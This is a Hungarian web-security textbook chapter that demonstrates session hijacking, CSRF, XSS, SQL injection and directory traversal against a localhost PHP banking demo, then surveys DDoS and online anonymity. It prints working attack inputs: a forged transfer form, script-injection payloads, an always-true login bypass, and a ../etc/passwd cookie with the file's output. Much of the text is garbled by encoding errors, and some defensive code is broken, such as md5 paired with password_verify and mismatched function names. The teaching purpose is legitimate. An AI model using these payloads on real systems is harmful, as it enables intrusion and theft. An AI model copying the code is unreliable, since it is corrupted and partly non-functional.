Ez azt jelenti, hogy mindenki, aki ismeri ezt az URL -t, új felhasználót vehet fel a rendszerbe. 

Szeretnénk ezt úgy elkerülni, hogy csak a bejelentkezett felhasználók vehessenek fel új felhasználókat. 

A szerver egy session -fájlt tart karban, amelybe információkat tárol. Ez jó hely lehet a bejelentkezett 

felhasználó nevének tárolására. Ha ez üres ï azaz nincs bejelentkezett felhasználó ï, akkor az addUser 

oldalt nem szabad megjeleníteni. 

 1. <?php  
 2. session_start ();  
 3.   
 4. if ( isset ( $_SESSION[ "userName" ])){  
 5.     echo "Serving user: " .  $_SESSION[ "userName" ];  
 6. } else {  
 7.     die ( "You have no permission to load the page" );  
 8.     return ;  
 9. }  
10. ?> 
11.   

 

A bejelentkezési oldalon elmentjük felhasználónevet a session fájlba. 

1.     $loginInUser = null ;  
2.     $userToken = null ;  
3.     while  ( $row = mysqli_fetch_assoc ( $result ))  {  
4.         $loginInUser = $row[ "userName" ];  
5.         $userToken = $row[ "userToken" ];  
6.         $_SESSION[ "userName" ]  = $loginInUser ;  

http://localhost:90/websec/addUser.php
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7.         break ;  
8.     }  
9.   

 

Fontos, hogy elŖszºr elind²tsuk a munkamenetet. Ehhez a php session_start()  parancsa szükséges. 

SESSION ELTÉRÍTÉS 

A session eltérítés mögött az a motiváció, hogy a hackerek ellophatják a session adatokat ï az elŖzŖ 

példán keresztül láthattuk, hogy bizonyos funkciókat a session-ben l®vŖ adatok tesznek el®rhetŖv®. 

 

89. §bra Session mŤkºd®se 

Vizsg§ljuk meg a login oldal lek®r®s®t a bºng®szŖben. A bºng®szŖ fejlesztŖi eszkºzei kºzºtt tal§lhat· 

egy Network (hálózat) fül. Ha a meghívott szerverhez tartozó hívást kiválasztjuk, akkor láthatjuk a 

kérés fejlécét:  

 

90. ábra A kérés adatai 
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Látható, hogy a sz§m²t·g®pemen a remote address (t§voli c²m) [:: 1]: 90, a bºng®szŖm pedig a 

Chrome/87.0.4280.88. 

Ha azt szeretnénk, hogy csak ezen a gépen, csak ezzel a bºng®szŖvel f®rj¿nk hozz§ az adatokhoz, 

hozzunk létre egy függvényt, amely egyedi hash -t gener§l ezekbŖl az inform§ci·kb·l. 

 1. // generate a verification string from IP and user agent  
 2. function  getuserAgentInfo (){  
 3.     $user_agent = $_SERVER[ 'HTTP_USER_AGENT'];  
 4.     $ip = null ;  
 5.     if  (! empty( $_SERVER[ 'HTTP_CLIENT_IP' ]))  {  
 6.         $ip = $_SERVER[ 'HTTP_CLIENT_IP' ];  
 7.     }  elseif (! empty( $_SERVER[ 'HTTP_X_FORWARDED_FOR']))  {  
 8.         $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR'];  
 9.     }  else  {  
10.         $ip = $_SERVER[ 'REMOTE_ADDR'];  
11.     }  
12.     return   $ip .  ":"  . $user_agent ;  
13. }   
14.   

 

Ezután adjunk hozzá olyan kódot, ami ezt a hash-t elmenti a session fájlba. Adjunk hozzá olyan kódot, 

amely ellenŖrzi, hogy az IP c²m vagy a bºng®szŖ megv§ltozott-e. 

1. // first time login generates token  
2. if ( empty( $_SESSION[ 'UPCI' ]))  {  
3.     $_SESSION[ 'UPCI' ]  = md5( getUserPCInfo (),  PASSWORD_DEFAULT);  
4. }  else  {  
5.     // ask user to re - open the browser  
6.     if (! password_verify (   getUserPCInfo (), $_SESSION[ 'UPCI' ]  )  )  {  
7.         die ( "You are not using a valid Token, close the browser and open it again" );  
8.     }  
9.   

 

Ezzel kivédtük a session eltérítés hatásait. A session eltérítés számos kockázatot hordoz magában, 

hiszen a támadó a felhasználó nevében léphet be olyan szolgáltatásokba, amelyeket már hitelesített. 

Így a támadó közvetlen hozzáférést nyerhet érzékeny információkhoz, mint például személyes 

adatokhoz, banki információkhoz, üzenetekhez, privát képekhez vagy üzleti titkokhoz. Mindezt 

anélkül, hogy a hozzáférést jelszóval vagy más hitelesítéssel kellene kezdeményeznie. Ennek hatására 

a felhasználó adatvédelme súlyosan sérülhet, és olyan adatok kerülhetnek illetéktelen kezekbe, 

amelyeket egyébként szigorúan védett. 

A session elt®r²t®s tov§bbi hat§sa a szolg§ltat§sok ®s a felhaszn§l·i ®lm®ny szempontj§b·l is jelentŖs 

lehet. A t§mad· a megszerzett munkamenet r®v®n k¿lºnbºzŖ mŤveleteket hajthat v®gre a felhaszn§l· 

nevében, például pénzügyi tranzakciókat, vásárlásokat vagy üzenetküldést. Ez különösen veszélyes, 

hiszen a felhasználó saját tudta nélkül kerülhet olyan helyzetbe, ahol illetéktelen tranzakciókat 

hajtanak végre a nevében, ami pénzügyi veszteségekhez és az online fiókok megbízhatóságának 

csökkenéséhez vezethet. 

A támadók kihasználhatják ezt a hozzáférést arra is, hogy kártékony tevékenységeket végezzenek, 

amelyek negat²v hat§ssal vannak a szolg§ltat§sra ®s az abban r®szt vevŖ tºbbi felhaszn§l·ra. P®ld§ul 

spam üzenetek küldésére vagy további támadások elindítására használhatják fel a megszerzett 

sessiont, így nemcsak az érintett felhasználót, hanem másokat is veszélyeztetnek. Ezenkívül a session 

eltérítés reputációs károkat okozhat a szolgáltatás számára, hiszen a felhasználók elveszíthetik a 

bizalmukat a biztonsági intézkedések iránt, ha egy ilyen támadás következtében adatlopás történik. 
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¥sszess®g®ben a session elt®r²t®s hat§sai sokr®tŤek ®s m®lyrehat·ak, hiszen az adatv®delmi 

kockázatokon túl pénzügyi veszteségekhez, reputációs károkhoz és az érintett rendszer 

megbízhatóságának csökkenéséhez vezethetnek. Emiatt elengedhetetlen, hogy minden online 

szolgáltatás kiemelt figyelmet fordítson a munkamenetek biztonságára és a felhasználói adatok 

védelmére.  

CROSS SITE REQUEST FORGERY 

A Cross-Site Request Forgery (CSRF), magyarul Ăwebhelyek kºzºtti k®r®shamis²t§sò, egy olyan webes 

támadási technika, amely során a támadó megpróbálja arra kényszeríteni a felhasználót, hogy 

akaratlanul, a saj§t nev®ben hajtson v®gre egy nem k²v§nt mŤveletet egy hitelesített weboldalon vagy 

szolgáltatásban. A CSRF támadások különösen veszélyesek, mert a felhasználó tudta és beleegyezése 

n®lk¿l tºrt®nhetnek, kihaszn§lva a bºng®szŖben t§rolt hiteles²t®si adatokat, mint p®ld§ul a munkamenet 

(session) sütiket.  

Egy CSRF t§mad§s ¼gy zajlik, hogy a t§mad· l®trehoz egy olyan hivatkoz§st vagy HTML Ťrlapot, 

amely egy meghat§rozott mŤveletet hajt v®gre egy m§sik weboldalon, ahol a felhaszn§l· ®pp be van 

jelentkezve. Ez lehet például egy pénzügyi tranzakció indítása, egy fiók adatainak módosítása vagy egy 

hozzászólás írása. A támadó ezután arra ösztönzi a felhasználót, hogy kattintson erre a linkre, vagy 

esetleg egy §rtalmatlannak tŤnŖ e-mailben vagy hirdetésben rejtve helyezi el a csapdát. Amikor a 

felhasználó ï aki hitelesítve van a céloldalon ï r§kattint vagy betºlti az oldalt, a bºng®szŖ 

automatikusan elküldi a szükséges sütiket és hitelesítési adatokat, és így a kérés valódi felhasználói 

nevében teljesül. 

A CSRF támadás azért különösen alattomos, mert a felhasználó teljesen tudatlanul hajtja végre a 

mŤveletet, ®s mivel a k®r®st a saj§t hiteles²tett munkamenet®vel k¿ldik el, az ®rintett szolg§ltat§s 

jogosnak érzékelheti azt. A támadás célja gyakran pénzügyi károkozás, mint például átutalások indítása 

egy banki fi·kb·l, vagy adminisztr§tori szintŤ mŤveletek v®grehajt§sa, amelyekkel a t§mad· tov§bbi 

károkat okozhat. 

.Az ilyen t²pus¼ t§mad§sok sor§n a t§mad· megvizsg§lja az Ťrlap forr§sk·dj§t. P®ld§ul a kºvetkezŖ 

k®pernyŖn l§that· kiemelt forr§sk·d r®szlet seg²ts®g®vel kiakn§zzuk demonstr§ljuk a sebezhetŖs®get: 
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91. §bra Az Ťrlap forr§sk·dja 

Másoljuk ki a kiemelt szöveget, és mentsük-k el egy fájlba a helyi számítógépen CSFR.html néven. 

 
1.          <form id ='login'  
action ='http://localhost:90/websec/transactions.php?userToken=89dcad1a - 476c- 11eb- 8004-
00090faa0001'  method='post'  accept - charset ='UTF- 8' > 
2.              <div class ="row" > 
3.                  <div class ="col - sm"> 
4.                      <label for ='ToUserName'  >To UserName*:</ label > 
5.                  </ div > 
6.                  <div class ="col - sm"> 
7.                      <input type ='text'  class ="form - control mb - 2 mr - sm- 2"  name='ToUserName'  
id ='ToUserName'   maxlength ="50"  required />  
8.                  </ div > 
9.                  <div class ="col - sm"> 
10.                      <label  for ='Amount'  >Amount:</ label > 
11.                  </ div > 
12.                  <div class ="col - sm"> 
13.                      <input type ='text' class ="form - control mb - 2 mr - sm- 2"   name='Amount'  
'Amount'  maxlength ="50"  required />  
14.                      <input type ="hidden"  name="fromUserName"  value ="bob"  />  
15.                  </ div > 
16.                  <div class ="col - sm"> 
17.                      <input type ='submit'  class ="btn btn - primary mb - 2"  name='Submit'  'submit'  
value ='Send'  />  
18.                  </ div > 
19.              </ div > 
20.          </ form > 
21.    
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Módosítsuk az action  paramétert a form  tagben, hogy a szerver URL-re mutasson. Mentsük el a 

módosítást, és nyissuk meg a bºng®szŖben. 

 

92. ábra A saját gépen futó hamis oldal 

Adjuk meg az adatokat az Ťrlapon ®s k¿ldjük el a pénzt. Bár az oldalon megjelenik néhány hibaüzenet, 

pl.: 

 

93. ábra Hibaüzenetek 

De az adatbázisban megjelenik az új rekord, amit most adtunk hozzá, azaz a sebezhetŖs®get kiaknáztuk. 
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94. ábra Az adatbázis rekordok megjelennek 

A CSRF támadások elleni védekezés egyik legfontosabb eszköze a CSRF tokenek használata. A CSRF 

token egy egyedi azonos²t·, amelyet a szerver gener§l minden egyes felhaszn§l·i mŤvelethez, ®s 

amelyet az adott kérés során vissza kell küldeni. Ha a szerver a token hiányát vagy helytelenségét 

®rz®keli, megtagadja a k®r®st, ²gy a t§mad· nem tud sikeres mŤveletet v®grehajtani a felhaszn§l· 

nev®ben. Ezenk²v¿l a felhaszn§l·k v®delm®t a hiteles²t®si s¿tik ĂSameSiteò attrib¼tum§nak haszn§lata 

is segítheti, amely megakad§lyozza, hogy m§s weboldalakr·l ®rkezŖ k®r®sek automatikusan 

hozzáférjenek ezekhez a sütikhez 

A mi implementációnk az az, hogy minden tranzakci·hoz egy v®letlenszerŤ sz§mot kell alkalmazni. 

Haszn§lni fogjuk a kºvetkezŖ kódot: 

uniqid($prefix, $moreEntopy = true) ,  

Egy v®letlen sz§mot alkalmazunk elŖtagk®nt, ®s l®trehozzuk az eg®sz karakterl§nc md5 hash-ét: 

md5(uniqid(mt_rand(), true));  

A kódot módosítsuk úgy, hogy hozzáadjuk a kºvetkezŖ k·dot: 

 1.     <?php 
 2.     // Code to avoid CSRF attack  
 3.     // make sure it is post process  
 4.     session_start ();  
 5.     if ( $_POST)  {  
 6.         // if token not vaild reject request  
 7.         if ( $_POST[ "csrf" ]  !=  $_SESSION[ "token" ])  {  
 8.             echo " not valid request" ;  
 9.             return ;  
10.         }  
11.     }  
12.     // create new token for every new request  
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13.     $_SESSION[ "token" ]  = md5( uniqid ( mt_rand (), true ));  
14.     ?> 
15.   

 

Ez biztosítja, hogy a session elinduljon. Ha a hívás POST hívás, akkor összehasonlítjuk a csrf 

paramétert a session-f§jlba mentett tokennel. Ha az ellenŖrz®s sikertelen, akkor az Ťrlap kil®p. 

Egy®bk®nt v®letlenszerŤ tokent gener§lunk, ®s elmentj¿k a session-fájlba. 

A csrf -et rejtett param®terk®nt kell hozz§adni az Ťrlaphoz: 

1. <input type="hidden" name="csrf" value=" <?= $_SESSION[ 'token' ];?> " />  

 

Ennek eredményeként, ha egy támadó el is lopja az eg®sz Ťrlapot, akkor a v®letlenszerŤ tokent nem 

lehet kitalálni, így nem hajtódik végre tranzakció. 

CROSS SITE SCRIPTING 

A Cross-Site Scripting (XSS) egy olyan webes biztons§gi r®s, amely lehetŖs®get ad a t§mad·knak, hogy 

rosszindulat¼ szkripteket injekt§ljanak a weboldalba, amelyek azt§n a felhaszn§l·k bºng®szŖj®ben 

futnak le. Ezek a támadások általában a weboldal nem megfelelŖ inputellenŖrz®s®bŖl ad·dnak, amikor 

a bevitt adatok nem megfelelŖen ker¿lnek semleges²t®sre, ®s a bºng®szŖ a felhaszn§l· §ltal megtekintett 

oldal részeként jeleníti meg a támadó által bevitt kódot. A szkriptek gyakran JavaScript formájában 

jelennek meg, de más szkriptnyelvek is alkalmazhatók, mint például HTML vagy VBScript. 

A támadás akkor történik, amikor egy támadó olyan rosszindulatú kódot helyez el egy weboldalon, amit 

az §ldozat v®grehajt a saj§t bºng®szŖj®ben. P®ld§ul, ha egy felhaszn§l·i hozz§sz·l§s mezŖbe vagy URL 

paraméterbe helyezett szkriptet a weboldal nem megfelelŖen szŤr, akkor a kºvetkezŖ alkalommal, 

amikor egy másik felhasználó megtekinti az oldalt, a kód lefut, mintha azt maga a weboldal helyezte 

volna el. Példaként adjunk hozz§ egy megjegyz®sek mezŖt a tranzakci·s t§bl§hoz. 

 

95. §bra Megjegyz®s mezŖ hozz§ad§sa 

A transactions.php f§jlban adjuk hozz§ az ¼j mezŖt a formhoz. 

 1.  <?php 
 2.         <form id ='login'  action ='transactions.php'  method='post'  accept - charset ='UTF- 8' > 
 3.             <div class ="row" > 
 4.                 <div class ="col - sm"> 
 5.                     <label for ='ToUserName'  >To UserName*:</ label > 
 6.                 </ div > 
 7.                 <div class ="col - sm"> 
 8.                     <input type ='text'  class ="form - control mb - 2 mr - sm- 2"  name='ToUserName'  
id ='ToUserName'   maxlength ="50"  required />  
 9.                 </ div > 
10.                 <div class ="col - sm"> 
11.                     <label  for ='Amount'  >Amount:</ label > 
12.                 </ div > 
13.                 <div class ="col - sm"> 
14.                     <input type ='text' class ="form - control mb - 2 mr - sm- 2"   name='Amount'  
id ='Amount'  maxlength ="50"  required />  
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15.                     <input type ="hidden"  name="fromUserName"  value ="<?= 
$_COOKIE['userName']; ?>" />  
16.                     <input type="hidden" name="csrf" value=" <?= $_SESSION[ 'token' ];?> " />  
17.                 </div>  
18.                 <div  class ="col - sm"> 
19.                     <label  for ='Notes'  >Notes: </label>  
20.                 </div>  
21.                 <div  class ="col - sm"> 
22.                     <input  type ='text'class ="form - control mb - 2 mr - sm- 2"   name='Notes'  
id ='Notes'  />  
23.                     </div>  
24.                 <div  class ="col - sm"> 
25.                     <input  type ='submit'  class ="btn btn - primary mb - 2"  name='Submit'  
id ='submit'  value ='Send'  />  
26.                 </div>  
27.             </div>  
28.         </form>  
29.  ?> 
30.   

 

A tranzakci·k list§j§ban adjuk hozz§ az ¼j mezŖt a fejl®chez: 

 1.          <h2> List  of  transactions </ h2> 
 2.          <table class ="table table - bordered table - striped" > 
 3.              <thead>  
 4.              <tr>  
 5.                  <th>  transaction id </ td > 
 6.                  <th>  from  </ td > 
 7.                  <th>  to </ td > 
 8.                  <th>  amount</ td > 
 9.                  <th>  notes </ td > 
10.              </ tr > 
11.              </ thead >     

 

És a tábla törzséhez is:  

 1.     while  ( $row= mysqli_fetch_assoc ( $result ))  {  
 2.         $rowColor ="class='success'" ;  
 3.         if ( $row[ "fromUser" ]== $userName)  {  
 4.             $rowColor ="class='danger'" ;  
 5.         }  
 6.         echo " <tr " .  $rowColor . ">" ;  
 7.         echo " <td>" .  $row[ "id" ]  . " </td>" ;  
 8.         echo " <td>" .  $row[ "fromUser" ]  . " </td>" ;  
 9.         echo "  <td>" .  $row[ "toUser" ]. "</td>" ;  
10.         echo " <td>" .  $row[ "amount" ]. "</td>" ;  
11.         echo " <td>" .  $row[ "notes" ]. "</td>" ;  
12.         echo " </tr>" ;  
13.     }    

 

Az Insert query is módosítandó: 

     $query ="insert into transactions(fromUser, toUser, amount, notes)  
       values ('" .  $_POST[ 'fromUserName' ]  . "','" .  $_POST[ 'ToUserName' ]  . "'," .   
       $_POST[ 'Amount' ]  . "'," .  $_POST[ 'Notes' ]  .  ")" ;  
  

 

Most így néz ki a tranzakciók oldal: 
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96. §bra A tranzakci·s oldal a megjegyz®s mezŖvel 

Írjuk be a kºvetkezŖ JavaScript kódot a notes (jegyzetek) mezŖbe: 

<script>alert('XSS testing')</script>  

Mostantól, amikor a tranzakciós lista megjelenik, a JavaScript kód végrehajtódik. 

 

97. ábra XSS teszt 

Bármilyen kódot végrehajthatunk. Hozzunk létre például egy fakepage.php nevŤ fájlt, és módosítsuk a 

hívást erre: 

<script> 

document.location="http://localhost:90/websec/fakepage.php";</script>  

És a tranzakciós fájl át lesz irányítva erre az oldalra.  

 

98. ábra Hamis tranzakciós oldalra ugrás 

A jav²t§s meglehetŖsen egyszerŤ: enk·doljuk a Jegyzetek mezŖt a sor kinyomtat§sa elŖtt: 

 1.     while  ( $row= mysqli_fetch_assoc ( $result ))  {  
 2.         $rowColor ="class='success'" ;  
 3.         if ( $row[ "fromUser" ]== $userName)  {  
 4.             $rowColor ="class='danger'" ;  
 5.         }  
 6.         echo " <tr " .  $rowColor . ">" ;  
 7.         echo " <td>" .  $row[ "id" ]  . " </td>" ;  
 8.         echo " <td>" .  $row[ "fromUser" ]  . " </td>" ;  
 9.         echo "  <td>" .  $row[ "toUser" ]. "</td>" ;  
10.         echo " <td>" .  $row[ "amount" ]. "</td>" ;  
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11.         echo " <td>" .  htmlentities ( $row[ "notes" ]). "</td>" ;  
12.         echo " </tr>" ;  
13.     }  
14.   

 

A m·dosult ztanzakci·s lista a kºvetkezŖ lett: 

 

99. ábra A tranzakciós lista 

SQL INJECTION 

Nézzük meg a lekérdezést a login  oldalon! Az SQL lek®rdez®s. amel yellenŖrzi a felhaszn§l· nev®t ®s 

jelszavát, így néz ki:  

select  *  from  users  where userName='admin'  and password='admin'  

 

Az elsŖ sztring konstans a felhaszn§l·n®v mezŖbŖl, a m§sodik a jelsz· mezŖbŖl jön. Mi történik, ha a 

jelsz· mezŖ be²rjuk az  

oô or ô1ô = ô1 

értéket? A lekérdezés így fog megjelenni: 

select  *  from  users  where userName='admin'  and password='o'  or  Ʀ1Ʀ = Ʀ1Ʀ 

 

Ezzel kihagyjuk a jelszó ellenŖrz®st, mert a where  fekltétel mindig igaz lesz. Így be tudunk lépni 

adminként. Ezt a támadást nevezzük SQL Injectionnak.  Az SQL injection akkor következik be, ha az 

alkalmazás SQL lekérdezéseket futtat anélkül, hogy megfelelŖen szŤrn® vagy valid§ln§ a felhaszn§l·i 

bemeneteket. Mindig ellenŖrizni ®s korl§tozni kell a felhaszn§l·i bemeneteket, k¿lºnºsen azokat, 

amelyek az adatbázishoz kapcsolódnak.  

Egy lehetzséges megoldás a prepared statements (elŖk®sz²tett utas²t§sok) alkalmazása.  

A php kézikönyv prepared statements oldala azt mondja: 

(https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php)  

A MySQL adatb§zis t§mogatja az elŖk®sz²tett utas²t§sokat. ElŖk®sz²tett utas²t§s vagy param®terezett 

utasítás használható ugyanazon utasítás ismételt végrehajtására. 

Az elŖk®sz²tett utas²t§s v®grehajt§sa k®t szakaszb·l §ll: elŖk®sz²t®s ®s v®grehajt§s. Az elŖk®sz²t®si 

szakaszban egy sablont küld az adatbázis-kiszolg§l·nak. A szerver szintaktikai ellenŖrz®st v®gez, ®s 

inicializ§lja a kiszolg§l· belsŖ erŖforr§sait k®sŖbbi használatra. 
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 1.     $query ="select userName from login  where userName=? and password=?"  ;  
 2.     $loginInUser =null ;  
 3.     /* create a prepared statement */  
 4.     if  ( $stmt = $mysqli - >prepare ( $query ))  {  
 5.   
 6.         /* bind parameters for markers */  
 7.         $stmt - >bind_param ( "ss" ,  $_POST[ 'userName' ], $_POST[ 'password' ]);  
 8.         /* execute query */  
 9.         $stmt - >execute ();  
10.   
11.         /* bind result variables */  
12.         $stmt - >bind_result ( $loginInUser );  
13.   
14.         /* fetch value */  
15.         $stmt - >fetch ();  
16.   
17.         /* close statement */  
18.         $stmt - >close ();  
19.     }  
20.   
21.     /* close connection */  
22.     $mysqli - >close ();  
23.   

 

A bind_parameter elsŖ param®tere egy t²pusle²r· karakter: 

Karakter  Leírás 

i integer 

d double 

s string 

b blob (csomagokban küldve) 

 

A fenti mintak·dban k®t karakterl§nc t²pus¼ karakter tal§lhat·, ez®rt Ăssò a t²pus. 

KÖNYVTÁR BEJÁRÁS 

Sok operációs rendszerben vannak speciális karakterek, amelyek bizonyos könyvtárba való áthaladást 

jelentenek. például ../ (dot dot perjel) azt jelenti, hogy felmegyünk egy könyvtár szintet a struktúrában. 

1. <?php 
2. $fname= 'myfile.php' ;  
3. if  ( isset ( $_COOKIE[ 'FNAME']))  {  
4.     $template = $_COOKIE[ 'FNAME'];  
5. }  
6. include "/home/users/oliver/work/"  .  $fname;  
7.   

 

Linux rendszerben állítsuk be a cookie értékét a kºvetkezŖ m·don, hogy eljussunk a jelszavakat t§rol· 

fájlhoz: 

Cookie: FNAME =../../../../../../../../../etc/passwd 

Így a kimenet: 

root : ge4jPT12ivkL7 : 0: 1: System Operator : /:/ bin / ksh  
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daemon:*: 1: 1::/ tmp:  

 

A könyvtár-bej§r§s (directory traversal) egy biztons§gi probl®ma, amely lehetŖv® teszi, hogy egy 

támadó hozzáférjen olyan fájlokhoz és könyvtárakhoz egy szerveren, amelyekhez alapértelmezés 

szerint nem lenne jogosultsága. Ez a sérülékenység akkor lép fel, ha egy alkalmaz§s nem megfelelŖen 

korlátozza a felhasználói bemeneteket, amelyek fájlelérési útvonalakat tartalmazhatnak. A támadó 

speciális karakterekkel, mint például a ../ (vagy fordított perjel Windows rendszereken), képes lehet a 

könyvtárstruktúrán kívüli fájlok elérésére. 

A támadó úgy módosítja a fájlelérési útvonalat, hogy az a fájlrendszer gyökérkönyvtára felé haladjon, 

például a ../ karakterláncok használatával, amelyek egy szinttel feljebb lépnek a fájlrendszerben.  

Az ilyen jellegŤ t§mad§sok megelŖz®s®re a kºvetkezŖ lehetŖs®gek vannak:  

1. Nem engedjük a speciális karakterek használatát, ilyenek a pont pont, , slash, backlash, vagy 

ezek enkódolt verzióját: 

¶ %2e%2e%2f aminek a megfelelŖje ../ 

¶ %2e%2e/ aminek a megfelelŖje ../ 

¶ ..%2f aminek a megfelelŖje ../ 

¶ %2e%2e%5c aminek a megfelelŖje ..\ 

¶ %c1%1c  

¶ %c0%af 

2. A fájlneveket abszolút útvonalra konvertáljuk, és biztosítjuk, hogy mindegyik ugyanabból a 

dokumentum útvonalról indul. 

3. Bemenet valid§l§sa ®s szŤr®se: Az alkalmaz§snak meg kell gyŖzŖdnie arr·l, hogy a felhaszn§l·i 

bemenetek nem tartalmaznak speciális karaktereket, mint például ../ vagy fordított perjel (\), 

amelyeket könyvtárbejárásra használhatnának. 

4. Legszigorúbb fájlrendszer jogosultságok alkalmazása: A fájlokhoz és könyvtárakhoz csak a 

szükséges minimális jogosultságokat rendeljük hozzá, így a szerver védettebbé válik akkor is, 

ha más rések kihasználhatók lennének. 

DDOS TÁMADÁS  

A DDoS (Distributed Denial of Service, magyarul elosztott szolgáltatásmegtagadás) támadás egy olyan 

kibertámadási forma, amelynek célja, hogy egy adott rendszer, például egy weboldal vagy szolgáltatás, 

elérhetetlenné váljon a felhasználók számára. A támadás lényege, hogy nagyszámú eszköz egyszerre 

bombázza a célzott szervert vagy hálózatot adatforgalommal, így az nem képes feldolgozni a valódi 

felhasználók kérését, és a rendszer lassul vagy teljesen leáll. 

A DDoS támadások általában egy botnet, azaz zombihálózat segítségével zajlanak. Egy botnet számos, 

rosszindulat¼ szoftverrel megfertŖzºtt sz§m²t·g®pbŖl vagy eszkºzbŖl §ll, amelyek mindegyike egy-egy 

Ăzombiò, ®s a t§mad· ir§ny²t§sa alatt §ll. Amikor elindul a támadás, a támadó a zombihálózatot irányítja, 

hogy egyszerre küldjenek kéréseket a célzott rendszer felé, ezzel túlterhelve azt. Mivel a támadás sok 

k¿lºnbºzŖ forr§sb·l ®rkezik (ez®rt Ăelosztottò), a v®dekez®s nehezebb, mint egy egyszerŤ DoS (Denial 

of Service) t§mad§s eset®n, amely csup§n egyetlen forr§sb·l ®rkezŖ t¼lterhel®st jelent. 

A DDoS t§mad§sok tºbbf®le form§ban fordulhatnak elŖ: 

¶ H§l·zati r®tegŤ t§mad§sok: A h§l·zati s§vsz®less®get terhelik t¼l hatalmas mennyis®gŤ 

adatcsomaggal, mint például az UDP-flooding vagy az ICMP-flooding. 
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¶ Alkalmaz§si r®tegŤ t§mad§sok: Ezek a t§mad§sok egy webalkalmaz§s vagy szolg§ltat§s 

specifikus gyenges®geit c®lozz§k meg, p®ld§ul egy weboldal adatb§zis§nak lek®rdez®s®t v®gzŖ 

kéréseket árasztják el. 

¶ Protokoll alapú támadások: Célja a hálózati protokollok sajátosságainak kihasználása, például 

a TCP SYN-flooding, amely az erŖforr§sokat haszn§lja ki a rendszerben ¼gy, hogy nem §ll²t 

helyre kapcsolatokat. 

Hogyan védekezhetünk DDoS támadás ellen? 

A DDoS támadások ellen többféle védekezési stratégia létezik: 

Túlterhelési korlátok beállítása: A szerverek és hálózatok konfigurálhatók úgy, hogy meghatározott 

mennyis®gŤ k®r®s fºlºtt m§r nem fogadnak tov§bbi forgalmat. 

TŤzfalak ®s IPS-ek haszn§lata: Speci§lis biztons§gi eszkºzºk (tŤzfalak, behatol§s-megelŖzŖ 

rendszerek) seg²ts®g®vel kiszŤrhetŖk a gyan¼s vagy ism®tlŖdŖ k®r®sek. 

CDN-ek (Content Delivery Networks): A forgalmat eloszthatják több szerver között, így egyetlen 

szerver nem válik a támadás áldozatává. 

Fel¿gyeleti rendszerek haszn§lata: A forgalmat monitoroz· rendszerek idŖben ®szlelhetik a szokatlan 

forgalomnövekedést, és automatikusan blokkolhatják a gyanús forrásokat. 

A DDoS támadások nem csak technikai kihívást jelentenek, hanem komoly üzleti károkat is 

okozhatnak, ez®rt a v§llalatok ®s szervezetek sz§m§ra kiemelt fontoss§g¼, hogy megfelelŖ v®delemmel 

rendelkezzenek a támadások kivédésére. 

HIVATKOZÁSOK  

[1] https://owasp.org/www-community/attacks/ 

[2] https://www.php.net/manual/ 

[3] https://github.com/hussien89aa/swa 

[4] Understanding Computer Browser Cookies: Internet Convenience, Information Security 

and Computer Privacy http://internet-

security.suite101.com/article.cfm/understanding_computer_browser_cookies#ixzz0swFX

Najh 
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ANONIMITÁS  

 

Az anonimitás a böngészés során azt jelenti, hogy a felhasználó személyazonossága, helyzete és egyéb 

személyes adatai rejtve maradnak a látogatott webhelyek, harmadik felek és gyakran az 

internetszolg§ltat·k elŖtt is. Az anonimit§s k¿lºnbºzŖ szinteken val·sítható meg, például VPN-ekkel, 

proxyk használatával, vagy anonimitás-f·kusz¼ bºng®szŖk, mint a Tor haszn§lat§val. 

Az anonimitás online környezetben különféle célokat szolgálhat: 

Mag§n®let v®delme: Az anonimit§s lehetŖv® teszi a felhaszn§l·k sz§m§ra, hogy bºng®sz®si szok§saikat 

®s adataikat megv®dj®k a kºvet®stŖl. Ez k¿lºnºsen fontos olyan orsz§gokban, ahol a korm§nyok vagy 

szervezetek szigorú megfigyelést folytatnak. 

Biztons§g: Az anonimit§s seg²thet megelŖzni, hogy a felhaszn§l·k c®lzott t§mad§sok §ldozat§v§ 

váljanak, mivel kevesebb információ áll rendelkezésre a támadók számára. 

Szabad információhoz való hozzáférés: Egyes országokban vagy szervezeteknél bizonyos webhelyek 

blokkolva vannak. Az anonimitást biztosító eszközök használatával a felhasználók hozzáférhetnek a 

blokkolt tartalmakhoz, és elkerülhetik a cenzúrát. 

AZ ANONIMITÁS FELHASZNÁLÁSA JÓ CÉLOKRA 

Szólásszabadság védelme: Azokban az országokban, ahol a véleménynyilvánítás korlátozva van, az 

anonimit§s lehetŖs®get ad az embereknek, hogy szabadon kifejezz®k gondolataikat a megtorl§st·l val· 

félelem nélkül. 

Jogv®dŖ tev®kenys®gek: Jogv®dŖk, ¼js§g²r·k ®s aktivist§k gyakran haszn§lj§k az anonimit§s eszkºzeit 

a mag§n®let¿k ®s biztons§guk megŖrz®s®re, mikºzben k¿lºnbºzŖ igazs§gtalans§gokat vagy 

visszaéléseket tárnak fel. 

Szem®lyes adatok v®delme: Sok felhaszn§l· egyszerŤen az online adatgyŤjt®st szeretn® elker¿lni, ®s 

megv®deni szem®lyes adatait a nagy c®gek kºvet®s®tŖl, amelyek gyakran ¿zleti c®lb·l profilozz§k a 

felhasználókat. 

AZ ANONIMITÁS ROSSZ CÉLÚ FELHASZNÁLÁSA 

Sajnos az anonimitást nemcsak jó célokra, hanem rosszindulatú tevékenységekre is használják: 

Illegális tevékenységek: Egyesek az anonimitás mögé bújva végeznek törvényellenes tevékenységeket, 

például kábítószer-kereskedelmet, lopott adatok adásvételét, vagy más illegális szolgáltatások 

biztosítását. 

Kibertámadások: A támadók anonimitási eszközökkel, például VPN-ekkel és a Tor hálózattal rejtik el 

valódi tartózkodási helyüket, miközben kibertámadásokat, például DDoS-támadásokat vagy adatlopást 

hajtanak végre. 

Adathalászat és csalás: Az anonimitást kihasználva a csalók megpróbálják becsapni a felhasználókat, 

például hamis weboldalakat hoznak létre, vagy megpróbálnak személyes információkat kicsalni. 
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AZ ANONIMITÁS DILEMMÁJA  

Az anonimit§s egy k®nyes t®ma, mert mikºzben alapvetŖ joga a mag§n®lethez ®s az 

inform§ci·szabads§ghoz val· hozz§f®r®st szolg§lja, a bŤncselekm®nyek elkºvetŖi sz§m§ra is 

lehetŖs®get ny¼jt az elfog§suk elker¿l®s®re. A k®rd®s teh§t gyakran az egyens¼ly megtalálása a 

biztonság és a magánélet tiszteletben tartása között. 

TOR BROWSER TELEPÍTÉSE KALI LINUXON 

Kali Linuxon k®tf®lek®ppen lehet Tor bºng®szŖt telep²teni: 

1. Töltsük le a https://www.torproject.org/projects/torbrowser.html.en oldalról és csomagold ki 

kézzel. 

